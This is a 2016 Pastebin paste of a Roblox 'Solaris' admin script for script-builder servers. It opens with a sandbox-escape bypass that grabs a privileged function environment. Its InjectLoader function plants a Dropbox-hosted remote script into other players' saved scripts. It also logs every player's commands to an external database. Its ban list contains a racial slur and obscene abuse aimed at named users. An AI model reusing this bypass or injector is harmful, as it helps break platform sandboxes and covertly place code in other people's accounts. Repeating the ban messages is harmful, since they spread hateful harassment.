Advertisement
colddddda

Untitled

Jun 4th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.88 KB | None | 0 0
  1. wait(); --Unremovable bypass
  2. script.Parent=nil
  3. rawset(shared, "\0bp", function()
  4. local i=game:service'InsertService':LoadAssetVersion(519416165);
  5. local n=i:children()[1];
  6. game:service'Debris':AddItem(i,0);
  7. n.Parent=workspace;
  8. coroutine.yield();
  9. local e;
  10. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  11. _G.OSC_AddServerSideData=nil;
  12. game:service'Debris':AddItem(n,0);
  13. return e
  14. end);
  15. local y=shared['\0bp']();
  16. shared["\0bp"]=nil;
  17. game:GetService'ReplicatedStorage':ClearAllChildren();
  18. y.setfenv(0,y);
  19. y.setfenv(1,y);
  20. y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
  21.  
  22. -- Easiest Fixing ever l0l.
  23.  
  24. --// Solaris Administration VERSION 1.0
  25. local Solaris = {
  26. AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
  27. --// Kill Switch
  28. __STATUS = true;
  29. --// Administrations Components
  30. Admins = {
  31. ["DuelingBlades"]={Level=5};
  32. ["Dr_Doge"]={Level=5};
  33. ["Player"]={Level=5};
  34. [""]={Level=5};
  35. [""]={Level=5};
  36. [""]={Level=5}; -- Lel and kek
  37. [""]={Level=5};
  38. };
  39. Levels = {
  40. [1]="User";
  41. [2]="Trusted";
  42. [3]="Friend";
  43. [4]="Administrator";
  44. [5]="Creator/Developer";
  45. };
  46. Banned = {
  47. gage7252002="bye bye skid ur banned now";
  48. Mikko3m="dont ban me skid C:";
  49. --w00t111="this server has a age restriction come back in 970 days";
  50. --CharcterKaiser="go die annoying skid";
  51. --FallingVortex="lrn 2 skript kid gtfo liquidex skid";
  52. robloxchamp20="u ban me i ban u git rkt";
  53. TheGreenDeveloper="Fuck you";
  54. FallingVortex="A. You're a fucktard. B. Come back when you stop fmin :) C. lrn 2 'skript kid gtfo liquidex skid' -c22";
  55. -- endermanac="git bbban11!!!";
  56. -- Dman2435="die just die";
  57. -- Dman2435alt="die just die";
  58. -- meunumbertwo="ur banned bby";
  59. -- Copenricus45="you got stopped by an admin skid c;";
  60. FreeModelInventor="get out skid go suc\5k my dick bitch whore";
  61. PWNTART = "die pls thx u";
  62. HopeYouHaveAGoodComp="you have been trolled nigger bitch die kkk";
  63. BookOEchos="git banned bitch";
  64. Autospy="another alt another ban";
  65. TotallyNotAnAlt1257="another alt another ban";
  66. fmerSKID005="another alt another ban";
  67. crazychimp1284="dienoobkthxbye";
  68. MrXTheGreat="dienoobkthxbye";
  69. ScriptNurd="dienoobkthxbye";
  70. Therealestnumber1="dienoobkthxbye";
  71. Opligi="dienoobkthxbye";
  72. jmckoy12="dienoobkthxbye";
  73. --5asc
  74. DangCoolIsReal3="dienoobkthxbye";
  75. legendy123="dienoobkthxbye";
  76. PithIsOnline="dienoobkthxbye";
  77. Opllgltory="git banned wanabe";
  78. YeaImnotanalt="dienoobkthxbye";
  79. superkiki609="git banned?";
  80. immcool1="git banned now skid";
  81. --euo was here k? k
  82. };
  83. Chatted = {
  84. Settings = {
  85. Prefix = ";";
  86. Suffix = "-";
  87. };
  88. Commands = {};
  89. };
  90. --// Orb Components
  91. Settings = {
  92. Orb = nil;
  93. Character = nil;
  94. Following = false;
  95. Target = "";
  96. TrailParts = {};
  97. Trail = true;
  98. OrbColor = BrickColor.new("Institutional white");
  99. TrailColor = BrickColor.new("Institutional white");
  100. Rotation = {
  101. Rot = 0;
  102. Radius = 6.3;
  103. Height = 1;
  104. Bounce = 2.0;
  105. Speed = 0.02;
  106. Length = 0.02;
  107. };
  108. };
  109. --// Tool Components
  110. Blocker = {
  111. LocalBlock = false;
  112. GlobalBlock = false;
  113. LagBlocker = true;
  114. };
  115. LagBlockedInstances = {
  116. "Message";
  117. "Hint";
  118. "Sound";
  119. };
  120. Logs = {};
  121. --// Functional Storage
  122. API = {
  123. Bootstrap = {}
  124. };
  125. }
  126. local Settings = Solaris.Settings
  127. local API = Solaris.API
  128. local Bootstrap = API.Bootstrap
  129. local Time = require(285173569)
  130. local rbxdb = require(278524047)
  131.  
  132. --// Output API
  133.  
  134. function API.print_to(target,input)
  135. if input == nil then input = "nil" end
  136. local plr
  137. if type(target)=='userdata'then
  138. plr = target
  139. elseif type(target)=='string'then
  140. plr = game:GetService('Players'):FindFirstChild(target)
  141. end
  142. if type(plr)=='userdata' then
  143. local str = Instance.new('StringValue',plr)
  144. str.Name = 'SB_Output:Output'
  145. str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
  146. end
  147. end local print_to = Solaris.API.print_to
  148.  
  149. function API.print(input)
  150. if input == nil then input = "nil" end
  151. for i,v in pairs(game:GetService('Players'):children())do
  152. if Solaris.Admins[v.Name]then
  153. if Solaris.Admins[v.Name].Level > 2 then
  154. print_to(v,input)
  155. end
  156. end
  157. end
  158. end local print = Solaris.API.print
  159.  
  160. function API.print_lvl(level,input)
  161. if input == nil then input = "nil" end
  162. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  163. if Solaris.Admins[v.Name]then
  164. if Solaris.Admins[v.Name].Level > level then
  165. print_to(v,input)
  166. end
  167. end
  168. end
  169. end local print_lvl = Solaris.API.print_lvl
  170.  
  171. function API.broadcast(input)
  172. if input == nil then input = "nil" end
  173. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  174. print_to(v,input)
  175. end
  176. end local broadcast = Solaris.API.broadcast
  177.  
  178. --// Utility API
  179.  
  180. function API.Make(ClassName)
  181. return function(data)
  182. local Instance = Instance.new(ClassName)
  183. for index,value in pairs(data) do
  184. if type(index) == "number" then
  185. value.Parent = Instance
  186. else
  187. Instance[index] = value
  188. end
  189. end
  190. return Instance
  191. end
  192. end local Make = API.Make
  193.  
  194. function API.clerp(p1,p2,percent)
  195. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  196. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  197. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  198. end local clerp = API.clerp
  199.  
  200. function API.Rainbow(i)
  201. local section = i % 1 * 3
  202. local secondary = 0.5 * math.pi * (section % 1)
  203. if section < 1 then
  204. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  205. elseif section < 2 then
  206. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  207. else
  208. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  209. end
  210. end local Rainbow = API.Rainbow
  211.  
  212. function API.GetPlayer(msg,plr)
  213. local Collected_Players = {}
  214. if string.lower(msg) == "me" then
  215. table.insert(Collected_Players, plr)
  216. elseif string.lower(msg) == "all" then
  217. for index,player in pairs(game:GetService('Players'):children()) do
  218. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
  219. table.insert(Collected_Players, player)
  220. end
  221. end
  222. elseif string.lower(msg) == "others" then
  223. for index,player in pairs(game:GetService('Players'):children()) do
  224. if player.Name ~= plr.Name then
  225. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
  226. table.insert(Collected_Players, player)
  227. end
  228. end
  229. end
  230. elseif string.lower(msg) == "friends" then
  231. for index,player in pairs(game:GetService('Players'):children()) do
  232. if player.Name ~= plr.Name then
  233. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
  234. if plr:IsFriendsWith(player.userId) == true then
  235. table.insert(Collected_Players, player)
  236. end
  237. end
  238. end
  239. end
  240. elseif string.lower(msg) == "nonfriends" then
  241. for index,player in pairs(game:GetService('Players'):children()) do
  242. if player.Name ~= plr.Name then
  243. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
  244. if plr:IsFriendsWith(player.userId) == false then
  245. table.insert(Collected_Players, player)
  246. end
  247. end
  248. end
  249. end
  250. else
  251. for index,player in pairs(game:GetService('Players'):children()) do
  252. if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
  253. if Solaris.Admins[player.Name].Level <= Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
  254. table.insert(Collected_Players, player)
  255. end
  256. end
  257. end
  258. end
  259. return Collected_Players
  260. end local GetPlayer = API.GetPlayer
  261.  
  262. function API.GetSplit(msg)
  263. return string.find(msg,Solaris.Chatted.Settings.Suffix)
  264. end local GetSplit = API.GetSplit
  265.  
  266. function API.Generate(Length)
  267. local Generated = ""
  268. for _ = 1, Length do
  269. Generated = Generated .. string.char(math.random(33,126))
  270. end
  271. return Generated
  272. end local Generate = API.Generate
  273.  
  274. function API.GetGarbage(plr)
  275. print_to(plr,"Got Garbage")
  276. print_to(plr,"________________________")
  277. for i = 1,10 do wait(1)
  278. print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
  279. end
  280. print_to(plr,"________________________")
  281. end local GetGarbage = API.GetGarbage
  282.  
  283. --// Orb API
  284.  
  285. function API.SpawnOrb()
  286. Settings.Orb = Make('Part'){
  287. Name = "\5\5\5\5Solar\5\5is\5\5\5\5";
  288. Parent = game.Workspace,
  289. BrickColor = Settings.OrbColor,
  290. Material = Enum.Material.SmoothPlastic,
  291. Transparency = .1,
  292. Anchored = true,
  293. CanCollide = false,
  294. Locked = true,
  295. FormFactor = "Symmetric",
  296. Shape = "Ball",
  297. Size = Vector3.new(1,1,1),
  298. TopSurface = 10,
  299. BottomSurface = 10,
  300. }Settings.Orb.Changed:connect(function()
  301. if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
  302. if Solaris.__STATUS == true then
  303. API.SpawnOrb()
  304. end
  305. end
  306. end)
  307. end local SpawnOrb = API.SpawnOrb
  308.  
  309. function API.MakeTrail()
  310. if Settings.Orb ~= nil and Settings.Trail == true then
  311. local Trail = Make'Part'{
  312. CanCollide = false,
  313. Parent = Settings.Orb,
  314. BrickColor = Settings.TrailColor,
  315. Material = Enum.Material.SmoothPlastic,
  316. Transparency = .1,
  317. Anchored = true,
  318. Locked = true,
  319. FormFactor = "Custom",
  320. Size = Vector3.new(.2,.2,.2),
  321. CFrame = Settings.Orb.CFrame,
  322. TopSurface = 10,
  323. BottomSurface = 10,
  324. }table.insert(Settings.TrailParts, Trail)
  325. return Trail
  326. end
  327. end local MakeTrail = API.MakeTrail
  328.  
  329. function API.SpawnTrail()
  330. if Settings.Orb ~= nil and Settings.Trail == true then
  331. local Trail = API.MakeTrail()
  332. end
  333. end local SpawnTrail = API.SpawnTrail
  334.  
  335. function API.Rotate()
  336. game:GetService('RunService').Stepped:connect(function()
  337. if Solaris.__STATUS == true then
  338. wait()
  339. local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
  340. if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
  341. Settings.Character = Following.Character.Torso.CFrame
  342. else
  343. Settings.Character = CFrame.new(0,5.7,0)
  344. end
  345. if Settings.Orb ~= nil then
  346. Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
  347. Settings.Orb.Name = "\5\5\5\5Solar\5\5is\5\5\5\5"
  348. Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
  349. CFrame.new(Settings.Character.p)
  350. *CFrame.new(0,3.9,0)
  351. *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
  352. *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
  353. *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1)
  354. API.SpawnTrail()
  355. for i,_ in next,Settings.TrailParts do
  356. if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
  357. local Part1 = Settings.TrailParts[i]
  358. local Part2 = Settings.TrailParts[i+1]
  359. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  360. Part1.Name = math.random(1,99999999)
  361. Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
  362. Part1.Transparency = Part1.Transparency + .017
  363. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  364. * CFrame.Angles(math.pi/2,0,0)
  365. if Part1.Size.X >= .74 then
  366. Part1:Destroy()
  367. table.remove(Settings.TrailParts, i)
  368. end
  369. end
  370. end
  371. end
  372. end
  373. end)
  374. end local Rotate = API.Rotate
  375.  
  376. function API.ChangeTheme(plr,theme)
  377. --// Sets orb to default configurations
  378. Settings.Orb.BrickColor = BrickColor.new('White')
  379. Settings.Orb.Transparency = .1
  380. for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
  381. --// Themes
  382. if theme == 'normal' then
  383. API.SpawnTrail = function()
  384. if Settings.Orb ~= nil and Settings.Trail == true then
  385. local Trail = API.MakeTrail()
  386. end
  387. end
  388. elseif theme == 'c22' then
  389. API.SpawnTrail = function()
  390. if Settings.Orb ~= nil and Settings.Trail == true then
  391. local Trail = API.MakeTrail()
  392. spawn(function()
  393. Settings.Orb.BrickColor = BrickColor.new('Really black')
  394. Trail.BrickColor = BrickColor.new('Really red')
  395. local box = Make('SelectionBox'){
  396. Adornee = Trail;
  397. Parent = Trail;
  398. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  399. LineThickness = 0.001;
  400. Color3 = Color3.new(0,0,0);
  401. }
  402. end)
  403. end
  404. end
  405. elseif theme == 'des' then
  406. API.SpawnTrail = function()
  407. if Settings.Orb ~= nil and Settings.Trail == true then
  408. local Trail = API.MakeTrail()
  409. spawn(function()
  410. Settings.Orb.BrickColor = BrickColor.new('Royal purple')
  411. Trail.BrickColor = BrickColor.new('Lime green')
  412. local box = Make('SelectionBox'){
  413. Adornee = Trail;
  414. Parent = Trail;
  415. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  416. LineThickness = 0.001;
  417. Color3 = Color3.new(0,0,0);
  418. }
  419. end)
  420. end
  421. end
  422. elseif theme == 'op-light' then
  423. API.SpawnTrail = function()
  424. if Settings.Orb ~= nil and Settings.Trail == true then
  425. local Trail = API.MakeTrail()
  426. spawn(function()
  427. Settings.Orb.BrickColor = BrickColor.new('Really black')
  428. Trail.BrickColor = BrickColor.new('Deep orange')
  429. local box = Make('SelectionBox'){
  430. Adornee = Trail;
  431. Parent = Trail;
  432. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  433. LineThickness = 0.001;
  434. Color3 = Color3.new(255,255,255);
  435. }
  436. end)
  437. end
  438. end
  439. elseif theme == 'clv' then
  440. API.SpawnTrail = function()
  441. local Trail = API.MakeTrail()
  442. spawn(function()
  443. Trail.BrickColor = BrickColor.new("Cyan")
  444. Settings.Orb.BrickColor = BrickColor.new("Really black")
  445. local S_Box = Make('SelectionBox'){
  446. Adornee = Trail;
  447. Parent = Trail;
  448. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  449. LineThickness = 0;
  450. Color3 = BrickColor.new("Really black").Color;
  451. }
  452. end)
  453. end
  454. elseif theme == 'whiteout' then
  455. API.SpawnTrail = function()
  456. local Trail = API.MakeTrail()
  457. spawn(function()
  458. Trail.BrickColor = BrickColor.new("White")
  459. Settings.Orb.BrickColor = BrickColor.new("Really black")
  460. local S_Box = Make('SelectionBox'){
  461. Adornee = Trail;
  462. Parent = Trail;
  463. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  464. LineThickness = 0;
  465. Color3 = BrickColor.new("Really black").Color;
  466. }
  467. local Mesh = Make('SpecialMesh'){
  468. Parent = Settings.Orb;
  469. MeshId = "http://www.roblox.com/asset/?id=1529453";
  470. Name = "Mesh";
  471. Scale = Vector3.new(2.5,2.5,2.5)
  472. }
  473. end)
  474. end
  475. elseif theme == 'hidden' then
  476. API.SpawnTrail = function()
  477. local Trail = API.MakeTrail()
  478. spawn(function()
  479. Trail.Transparency = 1
  480. Settings.Orb.Transparency = 1
  481. end)
  482. end
  483. else
  484. print_to(plr,"[Error]: "..theme.." is not a valid theme name")
  485. return
  486. end
  487. print_to(plr,"[iiOrb 2.0]: Orb has changed theme to "..theme)
  488. end local ChangeTheme = API.ChangeTheme
  489.  
  490. function API.Follow(boolean,plr)
  491. if type(plr)~='string'then return end
  492. if boolean == true then
  493. Settings.Following = true
  494. Settings.Target = plr
  495. elseif boolean == false then
  496. Settings.Following = false
  497. Settings.Target = ""
  498. end
  499. end local Follow = API.Follow
  500.  
  501. --// Oxcool1 Sb Tools API
  502.  
  503. function API.Sbexe(cmd,plr)
  504. if not type(cmd)=='string'then return end
  505. if plr then
  506. if type(plr)=='userdata'then
  507. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  508. elseif type(plr)=='string'then
  509. plr = game:GetService('Players'):FindFirstChild(plr)
  510. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  511. end
  512. else
  513. for i,v in pairs(game:GetService('Players'):children())do
  514. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  515. end
  516. end
  517. end local Sbexe = API.Sbexe
  518.  
  519. function API.ConnectLogger(plr)
  520. if type(plr) ~= 'userdata'then return end
  521. if plr:FindFirstChild("SB_CommandRemote",true) then
  522. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  523. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  524. Sbexe("g/ns")wait(.1)
  525. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  526. end
  527. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  528. table.insert(Solaris.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  529. local CurrentTime = Time:GetTime()
  530. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  531. rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  532. end
  533. end)
  534. end
  535. end local ConnectLogger = API.ConnectLogger
  536.  
  537. function API.GetLogs(plr)
  538. print_to(plr,"Got logs")
  539. if #Solaris.Logs > 0 then print_to(plr,"--------------------------------") end
  540. for index,data in pairs(Solaris.Logs)do
  541. if #Solaris.Logs > 30 then wait(.1)end
  542. print_to(plr,tostring(data.User))
  543. print_to(plr,tostring(data.Command))
  544. print_to(plr,"--------------------------------")
  545. end
  546. end local GetLogs = API.GetLogs
  547.  
  548. function API.InjectLoader(plr)
  549. Sbexe("remove/Solaris",plr)
  550. Sbexe("ch/Solaris/https://www.dropbox.com/s/574ygd6vonqk4i8/Deployment-Script.lua?dl=1",plr)
  551. Sbexe("save/Solaris",plr)
  552. end local InjectLoader = API.InjectLoader
  553.  
  554. function API.GetSavedScripts(plr)
  555. local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
  556. print_to(plr,"Got Saved Scripts")
  557. for i,v in pairs(game:GetService('Players'):children())do
  558. if v.ClassName == 'Player' then
  559. local Encoded_Table = v:LoadString(Save_Key)
  560. local Decoded_Table
  561.  
  562. --//Table Decoding
  563. if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
  564. Decoded_Table = {{No=" Saved Scripts"}}
  565. else
  566. Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
  567. end
  568. --// Table Printing
  569. --print_to(plr,"------------------------------------------------------------------")
  570. print_to(plr,"--------------------------["..v.Name.."]--------------------------")
  571. if type(Decoded_Table)=='table'then
  572. for _index,_data in pairs(Decoded_Table)do
  573. for index,data in pairs(_data)do
  574. wait(.1)
  575. print_to(plr,index.." : "..data)
  576. end
  577. end
  578. end
  579. print_to(plr,"------------------------------------------------------------------")
  580. end
  581. end
  582. end local GetSavedScripts = API.GetSavedScripts
  583.  
  584. function API.GiveServerConsole(Player)
  585. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  586. spawn(function()
  587. local Create = API.Make
  588. local Closed = false
  589. local ScreenGui = Create "ScreenGui" {
  590. Name = "Server Console",
  591. Parent = Player.PlayerGui
  592. }
  593. local Main = Create "TextButton" {
  594. AutoButtonColor = false,
  595. BackgroundColor3 = Color3.new(0, 0, 0),
  596. BorderSizePixel = 0,
  597. Size = UDim2.new(0, 375, 0, 15),
  598. Draggable = true,
  599. Font = "SourceSansBold",
  600. FontSize = "Size14",
  601. TextYAlignment = "Top",
  602. TextColor3 = Color3.new(1, 1, 1),
  603. Text = " Server Console",
  604. TextXAlignment = "Left",
  605. Position = UDim2.new(0.321, 0, 0.196, 0),
  606. Parent = ScreenGui
  607. }
  608. local Refresh = Create "TextButton" {
  609. Active = true,
  610. AutoButtonColor = false,
  611. BackgroundColor3 = Color3.new(0, 0, 0),
  612. BorderSizePixel = 0,
  613. Position = UDim2.new(1, 0, 0, 0),
  614. Size = UDim2.new(0, 60, 0, 15),
  615. Font = "SourceSansBold",
  616. FontSize = "Size14",
  617. Text = "Refresh",
  618. TextYAlignment = "Top",
  619. TextColor3 = Color3.new(1, 1, 1),
  620. TextYAlignment = "Top",
  621. TextXAlignment = "Right",
  622. Parent = Main
  623. }
  624. local TextButton = Create "TextButton" {
  625. AutoButtonColor = false,
  626. BackgroundColor3 = Color3.new(0, 0, 0),
  627. BorderSizePixel = 0,
  628. Position = UDim2.new(1, 60, 0, 0),
  629. Size = UDim2.new(0, 15, 0, 15),
  630. Font = "SourceSansBold",
  631. FontSize = "Size14",
  632. TextYAlignment = "Top",
  633. Text = "-",
  634. TextColor3 = Color3.new(1, 1, 1),
  635. Parent = Main
  636. }
  637. local ContentFrame = Create "Frame" {
  638. BackgroundColor3 = Color3.new(0, 0, 0),
  639. BackgroundTransparency = 0.2,
  640. BorderSizePixel = 0,
  641. Position = UDim2.new(0, 0, 0, 15),
  642. Size = UDim2.new(0, 450, 0, 0),
  643. Parent = Main
  644. }
  645. local ScrollingFrame = Create "ScrollingFrame" {
  646. Size = UDim2.new(1, 0, 1, 0),
  647. CanvasSize = UDim2.new(3, 0, 0, 0),
  648. MidImage = "rbxassetid://158362264",
  649. TopImage = "rbxassetid://158362307",
  650. BottomImage = "rbxassetid://158362221",
  651. BackgroundTransparency = 1,
  652. BorderSizePixel = 0,
  653. ScrollBarThickness = 5,
  654. Parent = ContentFrame
  655. }
  656. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  657. TextButton.MouseButton1Down:connect(function()
  658. if Closed == false then
  659. Closed = true
  660. TextButton.Text = "+"
  661. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  662. delay(1, function()
  663. ScrollingFrame.Visible = false
  664. end)
  665. else
  666. Closed = false
  667. TextButton.Text = "-"
  668. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  669. delay(0.5, function()
  670. ScrollingFrame.Visible = true
  671. end)
  672. end
  673. end)
  674. local function GetNumberOfChildren(Object)
  675. local Number = -15
  676. for index,child in pairs(Object:GetChildren()) do
  677. if child.ClassName == "TextLabel" then
  678. Number = Number + 15
  679. end
  680. end
  681. return Number
  682. end
  683. local function Output(Text, Color)
  684. local Line = Create "TextLabel" {
  685. ZIndex = 2,
  686. BackgroundTransparency = 1,
  687. BorderSizePixel = 0,
  688. Text = string.format(" %s", Text),
  689. Font = "SourceSansBold",
  690. FontSize = "Size14",
  691. TextColor3 = Color,
  692. TextWrapped = false,
  693. Size = UDim2.new(1, 0, 0, 15),
  694. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  695. TextXAlignment = "Left",
  696. TextYAlignment = "Top",
  697. TextStrokeTransparency = 0.9,
  698. Parent = ScrollingFrame,
  699. }
  700. if #ScrollingFrame:GetChildren() > 29 then
  701. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  702. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  703. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  704. end
  705. end
  706. local function OutputLogHistory()
  707. for index,data in pairs(game.LogService:GetLogHistory()) do
  708. if data.messageType == Enum.MessageType.MessageOutput then
  709. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
  710. elseif data.messageType == Enum.MessageType.MessageWarning then
  711. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  712. elseif data.messageType == Enum.MessageType.MessageError then
  713. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  714. elseif data.messageType == Enum.MessageType.MessageInfo then
  715. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  716. end
  717. end
  718. end
  719. OutputLogHistory()
  720. Refresh.MouseButton1Down:connect(function()
  721. ScrollingFrame:ClearAllChildren()
  722. wait()
  723. OutputLogHistory()
  724. end)
  725. end)
  726. end
  727. end local GiveServerConsole = API.GiveServerConsole
  728.  
  729. function API.SafeExe(string_src,string_plr)
  730. if string_src == nil then string_src = "" end
  731.  
  732. local BypassEnv = getfenv(1)
  733. BypassEnv.script = "Locked Object"
  734. BypassEnv.print_to = print_to
  735. rawset(_G,"NewBypassEnv",BypassEnv)
  736.  
  737. local ExecuteSource = [[
  738. wait(.1)
  739. local newEnv = _G.NewBypassEnv
  740. newEnv.owner = getfenv(1).owner
  741. newEnv.print = function(i)
  742. if i == nil then i = "" end
  743. newEnv.print_to(tostring(owner),i)
  744. end
  745. setfenv(1,newEnv)
  746. ]]
  747. local ExeSrc = ExecuteSource..string_src
  748. Sbexe("c/"..ExeSrc,string_plr)
  749. end local SafeExe = API.SafeExe
  750.  
  751. --// Admin API
  752.  
  753. function API.GetAdmins(plr)
  754. for i,v in pairs(Solaris.Admins)do
  755. print_to(plr,"["..i.."]-"..Solaris.Levels[v.Level])
  756. end
  757. end local GetAdmins = API.GetAdmins
  758.  
  759. function API.AddCommand(Name,Usage,Desc,Level,Func)
  760. table.insert(Solaris.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
  761. end local AddCommand = API.AddCommand
  762.  
  763. function API.Chatted(plr,msg)
  764. if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
  765. Sbexe("g/ns")
  766. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  767. end
  768. local Commands = Solaris.Chatted.Commands
  769. local Prefix = Solaris.Chatted.Settings.Prefix
  770. local Suffix = Solaris.Chatted.Settings.Suffix
  771. local sub = string.sub
  772. local lower = string.lower
  773. if sub(msg,1,3)=='/e 'then
  774. msg = sub(msg,4)
  775. end
  776. if Solaris.Admins[plr.Name]then
  777. for index,data in pairs(Commands)do
  778. if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
  779. if Solaris.Admins[plr.Name].Level >= data.Level then
  780. local y,n = ypcall(function()
  781. data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
  782. end)
  783. if not y then
  784. print_to(plr,"[Error]: a command related error has occured : "..n)
  785. end
  786. else
  787. print_to(plr,"[Error]: Your access level is to low for that command")
  788. end
  789. end
  790. end
  791. end
  792. end local Chatted = API.Chatted
  793.  
  794. function API.BootCommands()--// Function that calls and injects all commands
  795.  
  796. AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
  797. print_to(Player,"[iiOrb 2.0]: TEST")
  798. end)
  799.  
  800. AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
  801. print_to(Player,"Got Commands")
  802. print_to(Player,"---------------------------------------------------------------")
  803. for index,data in pairs(Solaris.Chatted.Commands)do
  804. print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
  805. print_to(Player,"---------------------------------------------------------------")
  806. end
  807. end)
  808.  
  809. AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
  810. print_to(Player,"Got admins")
  811. GetAdmins(Player)
  812. end)
  813.  
  814. AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
  815. GetLogs(Player)
  816. end)
  817.  
  818. AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
  819. local Split = GetSplit(Message)
  820. local Plrs
  821. local Reason
  822. if Split == nil then
  823. Plrs = Collect_Players(Message,Player)
  824. Reason = nil
  825. else
  826. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  827. Reason = Message:sub(Split+1)
  828. end
  829. if #Plrs>0 then
  830. for _,Plr in pairs(Plrs) do
  831. if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
  832. Plr:Kick(tostring(Reason))
  833. end
  834. end
  835. end)
  836.  
